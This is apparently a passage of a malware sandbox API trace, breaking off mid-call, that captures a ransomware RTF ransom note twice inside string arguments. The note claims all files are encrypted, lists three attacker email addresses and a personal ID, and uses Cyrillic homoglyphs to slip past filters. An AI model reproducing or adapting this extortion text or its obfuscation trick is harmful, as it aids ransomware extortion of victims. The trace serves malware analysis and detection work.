\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 